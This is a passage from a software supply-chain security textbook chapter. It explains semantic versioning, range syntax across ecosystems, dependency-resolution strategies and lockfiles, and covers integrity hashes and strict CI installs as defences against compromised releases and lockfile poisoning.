- Maven — *POM Reference* and *Introduction to the Dependency Mechanism* (nearest-wins); Sonatype's Central Portal / OSSRH migration docs and the Central publishing requirements (GPG signing); Gradle *Dependency Resolution* docs (highest-version selection).
- The Go Blog — "Module Mirror and Checksum Database Launched" (2019) and "Publishing Go Modules"; Russ Cox, "Minimal Version Selection" (`research.swtch.com/vgo-mvs`) and the transparent-logs series; `go help goproxy`, `go help module-auth`, `go help private`.
- The Cargo Book — *Publishing on crates.io* and the semantics of `cargo yank` (`doc.rust-lang.org/cargo`).
- Debian Policy Manual, "Package maintainer scripts and installation procedure," and the APT secure-apt documentation; Fedora/RPM package-signing documentation.
- The left-pad incident: David Haney, "NPM & left-pad: Have We Forgotten How To Program?" (2016) and npm's own postmortem and unpublish-policy update.

Chapter 2 — Versioning, Resolution, and Lockfiles

What this chapter covers. Chapter 1 described the registries that store packages and the per-ecosystem trust models that govern who may publish to them. This chapter goes one layer down, into the machinery

that decides *which* versions of *which* packages actually land in your build: how versions are named, how a package manager turns a set of loose constraints into a concrete set of installed artifacts, and how that concrete set is frozen into a lockfile so the next build is identical. This is not administrative plumbing. The behavior of a version range, the direction a resolver walks the version list, and whether a lockfile carries integrity hashes together determine whether a compromised release reaches you automatically, whether you would notice if it did, and whether the build that ships to production is the build you reviewed. Nearly every incident in Book 1 — event-stream, ua-parser-js, the dependency-confusion cases — succeeded in part because of a specific, defensible-looking choice in this machinery.

Learning goals — after this chapter you should be able to:

- State the SemVer 2.0.0 grammar and precedence rules precisely, and explain why SemVer is a social contract whose violation is a normal event rather than an anomaly.
- Read and reason about version-range syntax across npm, Python (PEP 440), Maven, Cargo, and Go, and articulate what a loose range like `^1.2.3` actually grants: standing trust in code that does not yet exist.
- Explain dependency resolution as a constraint-satisfaction problem, why it is NP-hard in general, and how npm/yarn hoisting, Maven nearest-wins, Gradle highest-wins, Go's Minimal Version Selection, and the modern SAT/PubGrub resolvers differ in both outcome and security posture.
- Describe what a lockfile is, why integrity hashes — not version pins — are the actual tamper-evidence mechanism, and why `npm ci` / `pip install --require-hashes` / `go mod verify` belong in every CI pipeline.
- Recognize lockfile-poisoning and lockfile-drift as review problems, and reason about the pin-and-review versus float-and-scan trade-off at fleet scale.

Versions as a naming problem

Before a resolver can choose anything, every release needs a name that expresses ordering: given two releases, which is newer, and by how much does it claim to differ? That ordering is the substrate the whole system

runs on. If versions did not order, ranges would be meaningless; if the *magnitude* of a version bump carried no information, "allow patch updates but not major ones" could not be expressed. Semantic Versioning is the dominant answer, and understanding exactly what it promises — and, more importantly, what it does *not* enforce — is the prerequisite for everything that follows.

SemVer 2.0.0, precisely

Semantic Versioning 2.0.0 specifies a version as `MAJOR.MINOR.PATCH`, three non-negative integers without leading zeros, optionally followed by a pre-release identifier and build metadata:

```
1.2.3
1.0.0-alpha
1.0.0-alpha.1
1.0.0-0.3.7
1.0.0-x.7.z.92
1.0.0-rc.1+build.20260731
1.0.0+20130313144700
```

The normative content is a set of rules about *when* each field must change. Given a public API:

- **MAJOR** must increment when you make an incompatible (breaking) API change.
- **MINOR** must increment when you add functionality in a backward-compatible manner.
- **PATCH** must increment when you make backward-compatible bug fixes only.

A **pre-release** version is denoted by a hyphen and a series of dot-separated identifiers after PATCH (`1.0.0-alpha.1`). Identifiers are ASCII alphanumerics and hyphens; numeric identifiers must not have leading zeros. A pre-release version has *lower* precedence than the associated normal version — `1.0.0-rc.1` precedes `1.0.0`. This is why pre-releases are usually excluded from range matching by default: `^1.0.0` does not, by design, select `2.0.0-beta.1`.

Build metadata is denoted by a plus sign and dot-separated identifiers (`+20130313144700`). Build metadata is explicitly **ignored** when determining precedence. `1.0.0+build.1` and `1.0.0+build.2` have equal precedence; a resolver treats them as the same version. This matters for

provenance discussions later in the suite: build metadata is not a version distinction and cannot be used to force selection of one build over another.

Precedence — the total order the resolver relies on — is computed field by field:

1. Compare MAJOR, then MINOR, then PATCH, numerically. The first difference decides.
2. When those are equal, a version *with* a pre-release has lower precedence than one *without*.
3. Between two pre-releases, compare the dot-separated identifiers left to right. Numeric identifiers compare numerically; alphanumeric identifiers compare lexically in ASCII order; a numeric identifier always has lower precedence than an alphanumeric one; and if one set is a prefix of the other, the larger set (more identifiers) has higher precedence.

So the specification defines the canonical ascending chain:

```
1.0.0-alpha < 1.0.0-alpha.1 < 1.0.0-alpha.beta < 1.0.0-beta
            < 1.0.0-beta.2 < 1.0.0-beta.11 < 1.0.0-rc.1 < 1.0.0
```

Note `1.0.0-beta.2 < 1.0.0-beta.11`: because those identifiers are numeric they compare numerically, not lexically, so 11 sorts after 2. A resolver that compared them as strings would get this backward — a real class of bug in home-grown version parsers.

SemVer is a social contract, and it is routinely broken

The specification's rules about MAJOR/MINOR/PATCH are stated in the imperative — "MUST increment" — but nothing enforces them. SemVer is a *promise a human makes about the contents of an artifact*, encoded in a number. The registry does not diff your API and reject a PATCH release that removed a function. CI does not verify that your MINOR bump is backward compatible. The number is whatever the publisher typed. This gap — between what the version claims and what the code does — is the central weakness that this chapter's tooling both exploits and tries to contain.

The benign form of the gap is familiar: a "patch" release that changes a default, tightens input validation, or fixes a bug your code was relying on,

and your service breaks in production having pulled it automatically. Every backend engineer has lived this. It is annoying, but it is detectable, and the maintainer meant no harm.

The malicious form is the same mechanism pointed at you. Recall from Book 1, Chapter 4 that the compromised **ua-parser-js** releases were published as ordinary version increments — 0.7.29, 0.8.0, and 1.0.0 — sitting in the normal version stream that any consumer's range was already configured to accept. A consumer whose manifest said `^0.7.28` (that is, "any backward-compatible release at or above 0.7.28") would resolve 0.7.29 automatically on the next install, because 0.7.29 is exactly what a patch release is *supposed* to be: a small, safe, backward-compatible fix. The version number lied, and the lie was formatted to satisfy the range. **event-stream** worked similarly: version 3.3.6 was a routine-looking increment that merely added a new dependency, `flatmap-stream`, in which the payload eventually rode. In neither case did the attacker have to defeat any version machinery. The machinery did what it was designed to do, because it trusts the publisher's version number as a truthful statement of compatibility and risk. It is not one.

The lesson is not "SemVer is useless." It is that a version number is *self-asserted metadata*, and any control you build on top of it — a caret range, an automated update, a policy that allows patch bumps but not majors — inherits that self-assertion. The rest of this chapter is largely about narrowing the window in which that self-assertion can hurt you.

Range syntax across ecosystems

Manifests rarely pin a single version. They specify *ranges* — sets of acceptable versions — and the resolver picks a concrete member. The range grammar differs by ecosystem, and the differences have real security consequences.

npm (node-semver). npm has the richest and most-copied range grammar. The two operators that dominate real manifests are the caret and the tilde:

- **Caret** `^` allows changes that do not modify the left-most non-zero version segment. This encodes "compatible according to SemVer": for a 1.x package it permits minor and patch updates but not a major.
- `^1.2.3` := `>=1.2.3 <2.0.0`

- `^0.2.3` := `>=0.2.3 <0.3.0` — for `0.x`, the minor acts as the breaking-change axis
- `^0.0.3` := `>=0.0.3 <0.0.4` — for `0.0.x`, nothing but that exact patch is allowed
- **Tilde** `~` allows patch-level changes if a minor is specified, otherwise minor changes.
- `~1.2.3` := `>=1.2.3 <1.3.0`
- `~1.2` := `>=1.2.0 <1.3.0`
- `~1` := `>=1.0.0 <2.0.0`

The full grammar also has X-ranges (`1.2.x`, `1.x`, `*`), hyphen ranges (`1.2.3 - 2.3.4`), explicit comparators (`>=1.2.7 <1.3.0`), and unions with `||`. The caret is npm's default: `npm install lodash` writes `"lodash": "^4.17.21"` into `package.json`. So the *default* posture of the largest software ecosystem on earth is "accept every future minor and patch of this package, forever, up to the next major."

Python (PEP 440). Python's versioning is specified by **PEP 440**, and it is emphatically *not* SemVer. A PEP 440 version is `[N!]N(.N)*[{a|b|rc}N][.postN][.devN][+local]`: an optional **epoch** (to reset an entire versioning scheme), a release segment of arbitrary length, pre-release segments (`a` / `b` / `rc`), **post-release** segments (`.post1`, for republishing without a code change), **dev** releases (`.dev1`), and a **local version** label after `+` (e.g. `1.2.3+cpu`). The comparison rules are correspondingly more complex than SemVer's, and code that assumes SemVer semantics for a PyPI version will mis-order post- and dev-releases. Specifiers use `==`, `!=`, `<=`, `>=`, `<`, `>`, `~=`, and `===`:

- **`~=` (compatible release)** is the closest analogue to the caret. `~=1.4.2` means `>=1.4.2, ==1.4.*`, i.e. `>=1.4.2 <1.5.0`; `~=1.4` means `>=1.4 <2.0`. It fixes everything except the last specified digit.
- **`==1.4.*`** is a prefix match. `===` is arbitrary string equality, an escape hatch for versions that do not conform to PEP 440 at all.

Crucially, Python has **no default operator**. `pip install requests` installs the latest version and, unless you use a tool that writes a constraint for you, records nothing. A hand-written `requirements.txt` line is often a bare `requests`, which is `>=0` — "any version." Discipline in Python is opt-in in a way it is not in npm.

Maven (Java). Maven's normal mode is a **soft requirement**: a bare `<version>1.2.3</version>` is not a hard pin but a *recommendation* that participates in dependency mediation (discussed below) and can be overridden by the resolution rules. Maven *does* support hard version ranges — `[1.0,2.0)` (half-open), `[1.5]` (exactly 1.5), `(,1.0]` (up to and including 1.0) — using mathematical interval notation, but in practice ranges are **rarely used** in the Java ecosystem. The cultural norm is to state exact soft versions and let mediation and the build's dependency management sort out conflicts. This makes Maven builds more stable against surprise upstream releases than npm, and also less able to express "give me the latest patch."

Cargo (Rust). Cargo uses caret semantics by default: a dependency written as `"1.2.3"` is interpreted as `^1.2.3`, exactly like npm's caret. Cargo also supports tilde, wildcard, and explicit comparator requirements. So Rust manifests carry the same "accept future compatible releases" posture as npm — but, as we will see, Cargo's mandatory `Cargo.lock` for applications blunts the practical risk.

Go. Go modules are the outlier and deserve their own treatment below, because Go's *selection algorithm* is fundamentally different. At the syntax level, a `go.mod` lists a specific version per requirement (`require github.com/pkg/errors v0.9.1`), and there is no caret. The version listed is a *floor*, not a range in the npm sense, and the resolution rule — Minimal Version Selection — turns those floors into a deterministic build without ever consulting "the latest release."

What a loose range actually grants

Step back and look at `^1.2.3` as a security statement rather than a convenience. It says: *install 1.2.3 today, and on any future resolution install the highest 1.x release then available, executing whatever code it contains, on my developer laptops, my CI runners, and my build hosts, without asking me again.* It is a standing, forward-dated grant of code-execution trust to releases that **do not exist yet**, made by a package the transitive graph pulled in on your behalf, maintained by someone you cannot name.

And it composes transitively. Your direct dependency's own manifest uses caret ranges on *its* dependencies. So `^1.2.3` on one package is, in effect, a grant across the reachable frontier of the graph: every package in the closure that has a caret range on a child extends the same standing trust

downward. This is the mechanism by which a single compromised leaf package — event-stream's `flatmap-stream`, ua-parser-js as a transitive dependency of countless tools — fans out to millions of installs the moment it publishes a version that satisfies the ranges already in place. The range is not describing what you have; it is pre-authorizing what you will get.

Resolution: from constraints to a concrete tree

Given a root manifest of ranges, and every dependency's own manifest of ranges, the resolver must choose one concrete version for each package such that all constraints are satisfied — and then produce an installable tree. This is where ecosystems diverge most sharply.

The general problem is hard

Dependency resolution with version constraints is a **constraint-satisfaction problem**, and in the general case it is **NP-hard**. The intuition is a reduction from boolean satisfiability: encode each boolean variable as a package with two candidate versions ("true" and "false"), encode each clause as a package that depends on a disjunction of the literal-versions that would satisfy it, and require the whole thing to co-install. A set of versions that satisfies all constraints exists if and only if the original formula is satisfiable. This is not a theoretical curiosity — it was worked out concretely for Debian package installability by the EDOS/Mancoosi research programs, and it is why a "modern" resolver is, under the hood, a SAT solver or a close cousin. When your `pip install` or `cargo update` spins for a while and then reports a conflict, it is exploring an exponential search space.

The shape that makes this bite in practice is the **diamond dependency**: your application depends on two packages that both depend on a third, with incompatible constraints on it.

```
flowchart TD
    App["App"] --> B["lib-b
requires common ^1.0"]
    App --> C["lib-c
requires common ^2.0"]
    B --> D1["common 1.x"]
    C --> D2["common 2.x"]
    D1 -.->|"same package,
conflicting constraints"| D2
    style D1 fill:#fde,stroke:#c39
    style D2 fill:#fde,stroke:#c39
```

There is no single version of `common` that satisfies both `^1.0` and `^2.0`. What happens next is the entire personality of the ecosystem's resolver: some ecosystems install both versions side by side, some pick one and hope, some refuse to build, and some pick the *smallest* version that satisfies the most constraints. Each choice is a different trade between build success, correctness, bloat, and security.

npm and yarn: nested trees and hoisting

Node's module system permits **multiple versions of the same package to coexist in one build**. Each package can have its own `node_modules` directory, and `require('common')` resolves to the nearest `common` up the directory tree. So npm's answer to the diamond is simply: install `common@1.x` under `lib-b` and `common@2.x` under `lib-c`, and let each see its own copy. The diamond does not have to be resolved to a single version at all.

To avoid a combinatorial explosion of duplicated files, npm and yarn **hoist**: they lift a single copy of each package as high as possible in the tree — ideally to the top-level `node_modules` — when doing so does not violate any consumer's constraints, and only create nested copies where versions genuinely conflict. `pnpm` takes a different structural approach, using a content-addressed store and symlinks so that each package sees exactly its declared dependencies and nothing else, which also closes a class of "phantom dependency" bugs where code accidentally imports a hoisted package it never declared.

The security consequence is double-edged. On one hand, allowing multiple versions means npm almost never fails to resolve a diamond — builds are robust. On the other hand, that robustness **multiplies attack surface**: a large Node build routinely contains several versions of the

same package, each a distinct artifact from the registry, each with its own maintainers and its own lifecycle scripts, each a place a vulnerability or a malicious release can live. When a CVE lands on `common`, "do I have a vulnerable version?" is not a yes/no question but "which of the four copies in my tree are vulnerable, and is the reachable one among them?" Hoisting is invisible in the manifest and only legible in the lockfile — which is one reason lockfiles matter for security review, not just reproducibility.

Maven nearest-wins, and Gradle highest-wins

The JVM world does *not* permit two versions of the same artifact on one classpath — the class loader would see conflicting definitions. So a single version must be chosen, and Maven and Gradle choose differently, which produces the classic "works in Maven, breaks in Gradle" surprise.

Maven uses **nearest-wins** dependency mediation. It computes each version's *depth* — the number of edges from your project's POM to the declaration — and the version at the shallowest depth wins. Ties at the same depth are broken by *declaration order* (first wins). Maven is not trying to pick the newest compatible version; it is picking the one *closest to you in the graph*, on the theory that things nearer your project are more likely to be what you intended. The footgun is direct: a transitive path can silently *downgrade* a library. If `common 2.0` sits three levels deep but `common 1.0` sits two levels deep, Maven installs 1.0 — even though something in your graph asked for 2.0 and may need it — purely because of graph topology. Reordering `<dependencies>` or adding an intermediate can change which version you ship, with no version-number reasoning involved.

Gradle defaults to **highest-version-wins**: among all versions requested anywhere in the graph, it selects the greatest, regardless of depth. This matches most engineers' intuition (newer is a superset) and usually avoids the silent-downgrade trap, but it means the same dependency set, resolved by the two tools, can yield *different* installed versions — a real portability hazard for a codebase that some teams build with Maven and others with Gradle. Gradle additionally offers **rich version constraints** — `strictly`, `require`, `prefer`, and `reject` — that let you express, for example, "I will accept anything in `[1.0, 2.0)` but *strictly* not 1.4.x because it is vulnerable," and it will fail the build rather than silently pick

a rejected version. That expressiveness is exactly what nearest-wins lacks.

Go's Minimal Version Selection

Go modules use **Minimal Version Selection (MVS)**, and it inverts the assumption every ecosystem above shares. npm, pip's resolver, Cargo, and Gradle all reach for the *newest* version a constraint permits. MVS reaches for the *oldest version that satisfies every requirement*.

Concretely: each module in your build's requirement graph names, in its `go.mod`, a specific minimum version for each of its dependencies. To select the version of some module `D`, MVS takes the **maximum of all the minimum versions of `D` required by anything in the graph**. That maximum is, by construction, the *smallest* version that is at least as new as every stated requirement — hence "minimal." It never consults "the latest release of `D` on the proxy." If nothing in your graph requires `D` newer than v1.4.0, you get v1.4.0, even if v1.9.0 was published this morning.

```
flowchart TB
    subgraph latest["Latest-compatible (npm, pip, Cargo, Gradle)"]
        direction TB
        LA["App: common ^1.2.0"] --> LR["Resolver queries registry
for newest 1.x"]
        LR --> LP["Picks common 1.9.0
(published today)"]
        LP --> LX["New, unaudited, possibly
compromised release enters build"]
    end
    subgraph mvs["Minimal Version Selection (Go)"]
        direction TB
        MA["App go.mod:
require common v1.2.0"] --> MB["lib-b go.mod:
require common v1.4.0"]
        MB --> MR["MVS = max of required
minimums = v1.4.0"]
        MR --> MP["Picks common v1.4.0
(exactly what was asked for)"]
        MP --> MX["No version enters build
that someone did not name"]
    end
    style LX fill:#fdd,stroke:#c33
    style MX fill:#dfd,stroke:#3a3
```

The design philosophy, articulated by Russ Cox in the "Minimal Version Selection" writeup, is **high-fidelity builds**: the versions you build with today are exactly the versions you will build with next month, until *you* explicitly change a requirement. There is no "latest that fits" floating target. Upgrades are an explicit act — `go get D@v1.9.0` — recorded as a diff to `go.mod`, reviewable in a pull request.

The security implications are significant and under-appreciated. Under latest-compatible resolution, a compromised release becomes part of your build the moment it is published and satisfies an existing range — automatically, silently, potentially in a routine CI run that nobody associates with a dependency change. Under MVS, that same compromised release is inert until a human edits a `go.mod` to require it. The window of "malicious release exists *and* I pulled it without deciding to" is closed by construction. This is not a claim that Go is immune to malicious packages — a malicious *pinned* version you deliberately upgrade to will still compromise you — but MVS removes the entire category of *surprise* upgrades, which is precisely the category that ua-parser-js and event-stream exploited. Go also, notably, downloads and executes no install-time scripts, which compounds the effect.

The cost is that security *fixes* are also not automatic. If v1.4.0 has a vulnerability and v1.4.1 fixes it, MVS keeps you on v1.4.0 until someone bumps the requirement. Go's answer is tooling around the explicit upgrade — `go list -m -u all` to see available updates, `govulncheck` to flag vulnerable selected versions — plus, for the truly dangerous case, the `retract` directive and module deprecation. The trade is deliberate: Go chose reproducibility and no-surprise upgrades over automatic freshness, and made you opt in to the freshness.

pip's resolver, and the SAT generation

Python's resolution story has two eras. **Before pip 20.3 (late 2020)**, pip had **no real dependency resolver**. It installed packages in the order it encountered them and used the first version of each it found that satisfied the *currently examined* constraint, without backtracking to reconcile conflicts. The result was that pip would happily produce a "successful" install whose packages violated each other's stated requirements — an inconsistent environment that only failed at runtime. For a language that dominates data and ML infrastructure, this was a remarkably long-lived gap.

pip 20.3 shipped a **backtracking resolver** (built on the `resolvelib` library) that actually explores the constraint space, backs out of dead ends, and refuses to install a set that cannot be reconciled — at the cost of sometimes-dramatic resolution times and occasional "ResolutionImpossible" errors that the old resolver would have silently papered over. That error is the resolver doing its job: it found a genuine diamond with no solution and told you, rather than shipping an inconsistent environment.

The modern Python tools go further and use full **SAT-style** or **PubGrub** resolvers with lockfiles: **Poetry**, **PDM**, and **uv** all resolve the whole graph to a consistent, reproducible set and write a lockfile. `uv` (from Astral) uses a PubGrub-based algorithm — the same lineage as Dart's `pub` — which is notable both for speed and for producing *good error messages*: PubGrub's structure lets it explain *why* a resolution failed in terms of the conflicting constraints, rather than just reporting failure. This is the direction the whole field has moved: resolution as an explicit, complete, reproducible search that produces a lockfile, not an incremental best-effort walk.

The tension that runs through the book

Every resolver choice above is a position on a single axis:

- **Newest-compatible** (npm, Cargo, Gradle, pip's install-latest default) optimizes for getting security fixes and improvements *fast and automatically*. The price is that it also pulls *malicious* or *broken* releases fast and automatically, and the moment of pull is decoupled from any human decision.
- **Pinned / minimal** (Go's MVS, and any ecosystem with a committed lockfile installed strictly) optimizes for *reproducibility and no surprises*. The price is that fixes are not automatic; you must act to get them.

There is no resolver setting that gives you both. You cannot simultaneously "always pull the newest so I get fixes instantly" and "never pull anything I did not review so I am not surprised." The reconciliation is not algorithmic; it is operational — a lockfile plus an *automated, reviewed* update process, which is the subject of the last section and of Chapter 9.

Lockfiles: freezing the resolution

A resolver's output is a specific choice of versions. A **lockfile** is that choice, written down: the fully resolved, transitively complete, version-and-hash-pinned snapshot of the entire dependency graph. It is the difference between a manifest that says "some 1.x of lodash" and a record that says "exactly lodash 4.17.21, from exactly this URL, with exactly this SHA-512, and here are all 800 transitive packages with the same detail."

What a lockfile contains

Across ecosystems, a mature lockfile records four things per package: the **exact resolved version**, the **resolved source** (registry URL or equivalent), an **integrity hash** of the artifact, and the **dependency edges** that produced it. The formats:

Ecosystem	Lockfile	Committed by default?	Integrity mechanism	Strict-install command
npm	`package-lock.json` / `npm-shrinkwrap.json`	Yes	SRI `sha512` per package (`integrity`)	`npm ci`
Yarn	`yarn.lock`	Yes	`integrity` (SRI) + `resolved`	`yarn install --immutable`
pnpm	`pnpm-lock.yaml`	Yes	per-package integrity	`pnpm install --frozen-lockfile`
Cargo	`Cargo.lock`	Yes (apps); no (libs)	`sha256` `checksum` per package	`cargo build --locked`
Go	`go.mod` + `go.sum`	Yes	`h1:` module + go.mod hashes; sum DB	`go mod verify`, `-mod=readonly`
Poetry	`poetry.lock`	Yes	per-file hashes	`poetry install` (respects lock)
PDM / uv	`pdm.lock` / `uv.lock`	Yes	per-file hashes	`pdm sync`, `uv sync --frozen`

Ecosystem	Lockfile	Committed by default?	Integrity mechanism	Strict-install command
pip (via pip-tools)	`requirements.txt` (compiled)	Yes	`--hash=sha256:...` per pin	`pip install --require-hashes`
pipenv	`Pipfile.lock`	Yes	per-file `sha256`	`pipenv sync`
Maven	*(none by default)*	—	—	—
Gradle	`gradle.lockfile` (opt-in)	Only if enabled	relies on artifact metadata	`--write-locks` / verification metadata

Two rows in that table are the security story.

The **Maven/Gradle gap is real and worth naming plainly.** Maven has *no lockfile mechanism at all* in its default operation. A Maven build's exact resolved graph is a function of the POMs, the mediation rules, and whatever is in the repositories at build time — it is reproducible only to the extent that the inputs happen not to have changed, and Maven ranges (when used) make even that fragile. Gradle added **dependency locking**, but it is **opt-in** — you must enable it per configuration and generate the lockfile — and Gradle's separate **dependency verification** metadata (checksums and signatures in `verification-metadata.xml`) is a further, separate opt-in. So the JVM ecosystem, which underpins an enormous fraction of enterprise backends, ships by default *without* the reproducibility-and-tamper-evidence baseline that npm, Cargo, and Go treat as table stakes. If you run JVM services, turning on Gradle dependency locking and verification metadata (or a Maven equivalent via enforced ranges and a repository manager) is not gold-plating; it is closing a gap the tooling left open.

Integrity hashes are the actual security mechanism

It is tempting to think the version pin is what makes a lockfile secure. It is not. A version pin says "install lodash 4.17.21," but "lodash 4.17.21" is a *name*, and a name can be made to resolve to different bytes — by a compromised registry, a poisoned mirror, a man-in-the-middle, or a re-published artifact. The **integrity hash** is what turns the name into a

statement about *bytes*: it says "install the artifact whose SHA-512 is exactly this," and if the fetched bytes hash to anything else, the install fails.

- **npm** records **Subresource Integrity (SRI)** strings — `sha512-<base64>` — in each package's `integrity` field, and verifies the downloaded tarball against it.
- **Go**'s `go.sum` records two hashes per module: an `h1:` hash of the module's file tree and a hash of its `go.mod`. `go mod verify` recomputes and compares. On top of this, Go operates a **checksum transparency log** (`sum.golang.org`, `GOSUMDB`): the first time anyone fetches a given module version, its hash is recorded in an append-only, publicly auditable log, so a maintainer cannot quietly swap the contents of an already-published version without the substitution being globally visible. This is a materially stronger property than a per-repo lockfile hash alone.
- **Cargo** records a `sha256 checksum` per package in `Cargo.lock` and verifies on fetch.
- **pip** verifies `--hash=sha256:` pins under `--require-hashes`.

Hash-pinning **defeats artifact substitution**. An attacker who compromises the registry, the CDN, or the network path and swaps the bytes of lodash 4.17.21 is caught, because the swapped bytes do not match the recorded hash and the install aborts. This is the property that makes `npm ci` "safe-ish."

What hash-pinning does **not** defeat is a malicious *version you willingly upgraded to*. If ua-parser-js 0.7.29 is malicious and your resolver selected it and wrote its (correct) hash into your lockfile, the hash verifies perfectly — it is faithfully recording the bytes of the malicious release. Integrity hashes protect the *channel* between the lockfile and the installed artifact; they say nothing about whether the version the lockfile names is trustworthy. That question is answered upstream, at resolution and review time. Confusing these two protections — thinking a lockfile with hashes means your dependencies are "verified" in the sense of "known good" — is a common and dangerous category error.

Strict install: `npm ci` and friends

A lockfile only helps if the install actually *obeys* it and *fails* on mismatch. Every ecosystem has two modes, and the distinction is the whole point:

- `npm install` is a **resolving** install. It reads the lockfile as a hint, but it may re-resolve ranges, add newly permitted versions, and **rewrite** `package-lock.json` and even `package.json`. It is for development, where you *want* the graph to move.
- `npm ci` is a **strict** install. It requires a lockfile, refuses to run if `package.json` and the lockfile disagree, deletes `node_modules`, installs the exact tree the lockfile specifies, verifies every integrity hash, and **never writes** to `package.json` or the lockfile. If anything is off, it exits non-zero.

The strict mode is what belongs in CI and in any pipeline that produces a shippable artifact. The equivalents:

```
npm ci                                # exact lockfile install, hash-
verified, fails on drift
yarn install --immutable              # yarn 2+: fail if the lockfile
would change
pnpm install --frozen-lockfile        # fail if pnpm-lock.yaml is out of
date
cargo build --locked                  # error rather than update
Cargo.lock
go build -mod=readonly
# do not modify go.mod/go.sum; used in CI
go mod verify                         # recompute module hashes against
go.sum
pip install --require-hashes -r requirements.txt   # every pin must
carry a verified hash
poetry install                        # installs exactly poetry.lock
(errors if lock is stale)
uv sync --frozen                      # install uv.lock exactly, no re-
resolution
```

The sequence `npm ci` performs — and the property it gives you — is worth seeing end to end:

```
sequenceDiagram
    participant CI as CI runner
    participant M as package.json (manifest)
    participant L as package-lock.json (lockfile)
    participant R as Registry / CDN
    participant N as node_modules

    CI->>M: read declared ranges
    CI->>L: read fully resolved tree + integrity hashes
    CI->>CI: assert manifest and lockfile agree
    Note over CI: on disagreement: abort, exit non-zero
    CI->>N: rm -rf node_modules
    loop each package in lockfile
        CI->>R: GET exact tarball at resolved URL
        R-->>CI: tarball bytes
        CI->>CI: compute sha512, compare to lockfile integrity
        alt hash matches
            CI->>N: install package
        else hash mismatch
            CI->>CI: abort build, exit non-zero
        end
    end
    Note over CI,N: result is reproducible and tamper-evident
```

Two things fall out of this. First, **the lockfile must be committed to source control.** A lockfile that lives only on a developer's machine reproduces nothing and verifies nothing for anyone else. Committing it is what makes the resolution a reviewable, shared artifact. Second, **`npm ci` in CI gives you reproducibility and tamper detection in one command** — the build is byte-for-byte the tree in the lockfile, and any attempt to substitute an artifact along the way trips a hash check. Using `npm install` in CI throws both away: the graph can move under you and no drift is flagged.

Lockfile attacks and hygiene

Because the lockfile is trusted — `npm ci` installs *exactly* what it says — the lockfile itself becomes a target. This is **lockfile poisoning**, and it is insidious precisely because lockfiles are large, machine-generated, and rarely read line by line in review.

The moves an attacker makes in a poisoned lockfile:

- **Swap the `resolved` URL.** npm and yarn lockfiles record a `resolved` field — the URL the artifact was fetched from. A malicious pull request can change that URL to point at an attacker-controlled host

while leaving the version string untouched, so the diff *looks* like it still installs lodash 4.17.21 but fetches the bytes from somewhere else. If the accompanying `integrity` hash is also changed to match the malicious bytes, the hash check passes — because the check verifies the *fetched* bytes against the *lockfile's* hash, and the attacker controls both. The `resolved` field is thus a genuine substitution and exfiltration vector, and it hides in a part of the file reviewers skim.

- **Inject a transitive dependency.** Adding an entry for a new package deep in the lockfile — one that appears in no manifest — can pull an attacker's package into the tree. Because the lockfile is authoritative for the transitive graph, an entry that no `package.json` references can still be installed.
- **Downgrade to a known-vulnerable version** by editing only the lockfile, leaving the manifest's range intact and satisfied.

The through-line is that all three edits are **content that a human must catch**, and lockfile diffs are exactly the diffs humans wave through. A pull request that touches only `package-lock.json` and bumps a hash and a URL is trivially mergeable-looking and semantically opaque. The mitigations are procedural and tie directly to Book 7's source-security and code-review practices: treat lockfile changes as **security-relevant diffs**, not noise; require that a lockfile change be accompanied by the manifest change that *explains* it (a lockfile-only PR that adds packages should be a red flag); use tooling that regenerates the lockfile from the manifest and fails if the committed lockfile does not match what a clean resolution would produce (so a hand-edited `resolved` URL cannot survive); and prefer resolvers and registries that pin to an immutable, integrity-checked source of record — Go's checksum transparency log is the strongest example, because a swapped artifact is caught not against a hash the same attacker could edit, but against a global append-only log.

Lockfile drift is the quieter failure: the manifest and lockfile fall out of sync (someone edits `package.json` but runs `npm install` inconsistently, or merges branches with conflicting lockfiles), and the tree that installs is neither clearly the old one nor the new one. Drift defeats reproducibility even without an attacker, and it is exactly what `npm ci`'s "abort if manifest and lockfile disagree" is designed to surface. A CI job that runs the strict install turns drift from a silent, drifting condition into a hard build failure at the moment it is introduced.

Practical guidance and the distributed-systems lens

Pin-and-review versus float-and-scan

The two coherent operating postures fall directly out of the resolver tension:

- **Pin-and-review.** Commit lockfiles, install strictly (`npm ci` and its peers), and treat every dependency change — direct or transitive, manifest or lockfile — as a reviewable diff that a human or a policy gate approves before it ships. This maximizes control and closes the surprise-upgrade window that most dependency attacks depend on. Its failure mode is *staleness*: if review is the only path forward, security fixes queue up behind human attention, and you end up running vulnerable versions because nobody got to the bump.
- **Float-and-scan.** Allow ranges to float to newest-compatible and rely on scanners (SCA, Chapter 6; reachability, Chapter 7) to catch known-bad versions after the fact. This maximizes freshness and gets fixes fast. Its failure mode is exactly the attack channel this chapter describes: you pull a *newly published* malicious or broken release automatically, before any scanner's database knows it is bad — and zero-day malicious packages are, by definition, not yet in any feed.

Neither pole is tenable alone at fleet scale, and the resolution is not to pick one but to **automate the reconciliation**. Tools like **Dependabot** and **Renovate** exist precisely to make pin-and-review's staleness survivable: they hold you on pinned, lockfile-frozen versions for reproducibility and no-surprise safety, and *separately* propose upgrades as pull requests — one per dependency or grouped — carrying the changelog, the diff, and the CI result, so that the "get the fix" action becomes a reviewable, testable event rather than an invisible float. That converts the impossible "newest *and* reviewed" into the achievable "pinned by default, upgraded on a reviewed cadence." Chapter 9 is a deep dive on getting this automation right — batching, auto-merge policies for low-risk updates, and cooldown windows that deliberately *delay* pulling a brand-new release so that a malicious one has time to be caught and yanked before it reaches you. That cooldown is a direct, deliberate re-introduction of MVS's "don't pull the newest thing the instant it appears" property into ecosystems whose resolvers lack it.

Reproducible resolution is a prerequisite, not the goal

Everything in this chapter — deterministic resolution, committed lockfiles, hash verification, strict installs — produces one property: **given the same inputs, you get the same dependency graph, byte for byte, every time.** That property is necessary but not sufficient for the larger goal the suite builds toward. Reproducible *resolution* means the set of source artifacts is fixed and verified. Reproducible *builds* (Book 4, Chapter 2) means that fixed set, run through a fixed toolchain in a controlled environment, produces a bit-identical output — so that an independent rebuild can confirm a shipped binary corresponds to the source and dependencies it claims. You cannot have reproducible builds on top of non-reproducible resolution: if the inputs float, the output cannot be pinned no matter how hermetic the build. The lockfile is the first link in that chain. When we discuss provenance and SLSA in Book 5, "the exact dependencies that went in" is a lockfile away from being a verifiable claim rather than an aspiration.

At fleet scale

A single service's dependency choices are a manageable problem; a hundred services across a dozen teams are a governance problem, and the resolution machinery is where governance either has purchase or does not.

